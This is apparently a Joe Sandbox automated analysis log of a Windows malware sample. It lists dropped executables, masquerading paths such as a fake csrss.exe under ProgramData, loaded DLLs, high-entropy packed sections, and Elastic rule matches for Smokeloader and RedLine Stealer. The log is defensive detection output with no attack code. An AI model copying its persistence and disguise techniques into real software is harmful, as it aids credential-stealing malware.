Source: C:\Users\user\AppData\Local\Temp\933A.exe	Code function: 13_2_00B74207	13_2_00B74207
Source: C:\Users\user\AppData\Local\Temp\933A.exe	Code function: 13_2_00B68A07	13_2_00B68A07
Source: C:\Users\user\AppData\Local\Temp\933A.exe	Code function: 13_2_00B45A77	13_2_00B45A77
Source: C:\Users\user\AppData\Local\Temp\933A.exe	Code function: 13_2_00B21267	13_2_00B21267
Source: C:\Users\user\AppData\Local\Temp\933A.exe	Code function: 13_2_00B69257	13_2_00B69257
Source: C:\Users\user\AppData\Local\Temp\933A.exe	Code function: 13_2_00B24A47	13_2_00B24A47
Source: C:\Users\user\AppData\Local\Temp\933A.exe	Code function: 13_2_00B643B7	13_2_00B643B7
Source: C:\Users\user\AppData\Local\Temp\933A.exe	Code function: 13_2_00B63BE7	13_2_00B63BE7
Source: C:\Users\user\AppData\Local\Temp\933A.exe	Code function: 13_2_00B67377	13_2_00B67377
Source: C:\Users\user\AppData\Local\Temp\933A.exe	Code function: 13_2_00B74B74	13_2_00B74B74
Source: C:\Users\user\AppData\Local\Temp\933A.exe	Code function: 13_2_00B4FC87	13_2_00B4FC87
Source: C:\Users\user\AppData\Local\Temp\933A.exe	Code function: 13_2_00B6FCE2	13_2_00B6FCE2
Source: C:\Users\user\AppData\Local\Temp\933A.exe	Code function: 13_2_00B484D7	13_2_00B484D7
Source: C:\Users\user\AppData\Local\Temp\933A.exe	Code function: 13_2_00B4A417	13_2_00B4A417
Source: C:\Users\user\AppData\Local\Temp\933A.exe	Code function: 13_2_00B27417	13_2_00B27417
Source: C:\Users\user\AppData\Local\Temp\933A.exe	Code function: 13_2_00B61C07	13_2_00B61C07
Source: C:\Users\user\AppData\Local\Temp\933A.exe	Code function: 13_2_00B23457	13_2_00B23457
Source: C:\Users\user\AppData\Local\Temp\933A.exe	Code function: 13_2_00B62DB7	13_2_00B62DB7
Source: C:\Users\user\AppData\Local\Temp\933A.exe	Code function: 13_2_00B495F7	13_2_00B495F7
Source: C:\Users\user\AppData\Local\Temp\933A.exe	Code function: 13_2_00B4ADF7	13_2_00B4ADF7
Source: C:\Users\user\AppData\Local\Temp\933A.exe	Code function: 13_2_00B24DF7	13_2_00B24DF7
Source: C:\Users\user\AppData\Local\Temp\933A.exe	Code function: 13_2_00B4B5E7	13_2_00B4B5E7
Source: C:\Users\user\AppData\Local\Temp\933A.exe	Code function: 13_2_00B2B507	13_2_00B2B507
Source: C:\Users\user\AppData\Local\Temp\933A.exe	Code function: 13_2_00B2D557	13_2_00B2D557
Source: C:\Users\user\AppData\Local\Temp\933A.exe	Code function: 13_2_00B25697	13_2_00B25697
Source: C:\Users\user\AppData\Local\Temp\933A.exe	Code function: 13_2_00B48687	13_2_00B48687
Source: C:\Users\user\AppData\Local\Temp\933A.exe	Code function: 13_2_00B4A6F7	13_2_00B4A6F7
Source: C:\Users\user\AppData\Local\Temp\933A.exe	Code function: 13_2_00B4BEC7	13_2_00B4BEC7
Source: C:\Users\user\AppData\Local\Temp\933A.exe	Code function: 13_2_00B81ECE	13_2_00B81ECE
Source: C:\Users\user\AppData\Local\Temp\933A.exe	Code function: 13_2_00B70E0A	13_2_00B70E0A
Source: C:\Users\user\AppData\Local\Temp\933A.exe	Code function: 13_2_00B81F86	13_2_00B81F86
Source: C:\Users\user\AppData\Local\Temp\933A.exe	Code function: 13_2_00B62737	13_2_00B62737
Source: C:\Users\user\AppData\Local\Temp\933A.exe	Code function: 13_2_00B48F37	13_2_00B48F37
Source: C:\Users\user\AppData\Local\Temp\933A.exe	Code function: 13_2_00B67717	13_2_00B67717

Source: Joe Sandbox View

Dropped File: C:\Program Files (x86)\PRingTone\bin\x86\7z.exe (copy) 59CBFBA941D3AC0238219DAA11C93969489B40F1E8B38FABDB5805AC3DD72BFA

Source: C:\Users\user\AppData\Local\Temp\826E.exe	Code function: String function: 00401B70 appears 37 times
Source: C:\Users\user\AppData\Local\Temp\933A.exe	Code function: String function: 004437B0 appears 35 times
Source: C:\Users\user\AppData\Local\Temp\933A.exe	Code function: String function: 0044BF10 appears 35 times
Source: C:\Users\user\AppData\Local\Temp\933A.exe	Code function: String function: 00B6C177 appears 34 times

Source: D5C5.exe.1.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: D5C5.tmp.26.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (console) x86-64, for MS Windows
Source: D5C5.tmp.26.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (GUI) Intel 80386, for MS Windows
Source: D5C5.tmp.26.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Source: D5C5.tmp.26.dr	Static PE information: Resource name: RT_VERSION type: 370 sysV pure executable not stripped
Source: D5C5.tmp.33.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (console) x86-64, for MS Windows
Source: D5C5.tmp.33.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (GUI) Intel 80386, for MS Windows
Source: D5C5.tmp.33.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Source: D5C5.tmp.33.dr	Static PE information: Resource name: RT_VERSION type: 370 sysV pure executable not stripped
Source: PRingTone.exe.34.dr	Static PE information: Resource name: RT_VERSION type: MIPSEB-LE MIPS-III ECOFF executable not stripped - version 0.79
Source: is-G4SU6.tmp.34.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (console) x86-64, for MS Windows
Source: is-G4SU6.tmp.34.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (GUI) Intel 80386, for MS Windows
Source: is-G4SU6.tmp.34.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Source: is-G4SU6.tmp.34.dr	Static PE information: Resource name: RT_VERSION type: 370 sysV pure executable not stripped
Source: N75Bitscore.exe.39.dr	Static PE information: Resource name: RT_VERSION type: MIPSEB-LE MIPS-III ECOFF executable not stripped - version 0.79

Source: is-M9FK5.tmp.34.dr	Static PE information: Number of sections : 18 > 10
Source: is-72EEK.tmp.34.dr	Static PE information: Number of sections : 11 > 10
Source: is-H0BA3.tmp.34.dr	Static PE information: Number of sections : 11 > 10
Source: is-V7V6O.tmp.34.dr	Static PE information: Number of sections : 11 > 10

Source: NBHEkIKDCr.exe, 00000000.00000002.1701134831.000000000084E000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameLariants> vs NBHEkIKDCr.exe
Source: NBHEkIKDCr.exe	Binary or memory string: OriginalFilenameLariants> vs NBHEkIKDCr.exe

Source: C:\Windows\explorer.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: vcruntime140_1.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: vcruntime140_1.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: mfsrcsnk.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\76D5.exe	Section loaded: csunsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\76D5.exe	Section loaded: swift.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\76D5.exe	Section loaded: nfhwcrhk.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\76D5.exe	Section loaded: surewarehook.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\76D5.exe	Section loaded: csunsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\76D5.exe	Section loaded: aep.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\76D5.exe	Section loaded: atasi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\76D5.exe	Section loaded: swift.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\76D5.exe	Section loaded: nfhwcrhk.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\76D5.exe	Section loaded: nuronssl.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\76D5.exe	Section loaded: surewarehook.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\76D5.exe	Section loaded: ubsec.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\76D5.exe	Section loaded: aep.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\76D5.exe	Section loaded: atasi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\76D5.exe	Section loaded: swift.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\76D5.exe	Section loaded: nfhwcrhk.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\76D5.exe	Section loaded: nuronssl.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\76D5.exe	Section loaded: surewarehook.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\76D5.exe	Section loaded: ubsec.dll	Jump to behavior
Source: C:\ProgramData\Drivers\csrss.exe	Section loaded: csunsapi.dll
Source: C:\ProgramData\Drivers\csrss.exe	Section loaded: swift.dll
Source: C:\ProgramData\Drivers\csrss.exe	Section loaded: nfhwcrhk.dll
Source: C:\ProgramData\Drivers\csrss.exe	Section loaded: surewarehook.dll
Source: C:\ProgramData\Drivers\csrss.exe	Section loaded: csunsapi.dll
Source: C:\ProgramData\Drivers\csrss.exe	Section loaded: swift.dll
Source: C:\ProgramData\Drivers\csrss.exe	Section loaded: nfhwcrhk.dll
Source: C:\ProgramData\Drivers\csrss.exe	Section loaded: surewarehook.dll

Source: NBHEkIKDCr.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 00000030.00000002.2424496657.0000000002490000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000010.00000002.2160182132.0000000000A30000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000000.00000002.1703049912.00000000025E1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 0000000E.00000002.2096970899.0000000002C00000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000030.00000002.2424591742.00000000025C1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 0000000D.00000002.3033410607.0000000000C1D000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000000.00000002.1702932783.0000000002490000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000003.00000002.1944472325.00000000009ED000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000003.00000002.1944344565.00000000009B0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000006.00000002.1984503860.0000000002557000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000010.00000002.2160255945.0000000000A5D000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000010.00000002.2160387190.00000000025E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 0000002D.00000002.4113654029.0000000002FD0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000011.00000002.2213490486.0000000002DB0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 0000001B.00000002.4114001709.0000000002DB0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000000.00000002.1702972838.00000000025A0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 0000000D.00000002.3033082118.0000000000B20000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 0000002D.00000002.4112737827.0000000002BD7000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000003.00000002.1944561825.00000000023C1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000011.00000002.2212474597.00000000029B5000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000000.00000002.1702853575.0000000000ACD000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000030.00000002.2424289837.000000000088D000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000010.00000002.2160447773.0000000002611000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000030.00000002.2424546841.00000000025A0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000018.00000002.2197640676.0000000002C00000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000003.00000002.1944361453.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 0000001B.00000002.4113310706.00000000028B7000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12

Source: NBHEkIKDCr.exe	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: 933A.exe.1.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: AF9D.exe.1.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: 76D5.exe.1.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: cwischf.1.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: faischf.1.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: csrss.exe.7.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: PRingTone.exe.34.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: _RegDLL.tmp.34.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: N75Bitscore.exe.39.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: 87A0.dll.1.dr	Static PE information: Section: .rdata ZLIB complexity 0.9984089006696428
Source: 87A0.dll.1.dr	Static PE information: Section: .code ZLIB complexity 0.9940511067708333
Source: 8FEE.exe.1.dr	Static PE information: Section: ZLIB complexity 0.9996487185251799
Source: 8FEE.exe.1.dr	Static PE information: Section: ZLIB complexity 1.0000636197068404
Source: is-UQIIU.tmp.34.dr	Static PE information: Section: ZLIB complexity 0.9964533211297071
Source: is-8IR3C.tmp.34.dr	Static PE information: Section: ZLIB complexity 0.9976058467741935
Source: is-PLOP5.tmp.34.dr	Static PE information: Section: ZLIB complexity 0.995148689516129
Source: is-CNQNP.tmp.34.dr	Static PE information: Section: ZLIB complexity 0.9908203125
Source: is-TTVKI.tmp.34.dr	Static PE information: Section: ZLIB complexity 0.9903624487704918
Source: is-MC07M.tmp.34.dr	Static PE information: Section: ZLIB complexity 0.9891526442307692

Source: classification engine

Classification label: mal100.troj.spyw.expl.evad.winEXE@70/158@22/51

Source: C:\Users\user\Desktop\NBHEkIKDCr.exe

Code function: 0_2_00AD43E4 CreateToolhelp32Snapshot,Module32First,

0_2_00AD43E4

Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp

File created: C:\Program Files (x86)\PRingTone

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Roaming\faischf

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5296:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4916:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4348:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2308:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5640:120:WilError_03

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Local\Temp\76D5.tmp

Jump to behavior

Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\explorer.exe	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\933A.exe

Command line argument: >|E

13_2_00457B90

Source: NBHEkIKDCr.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

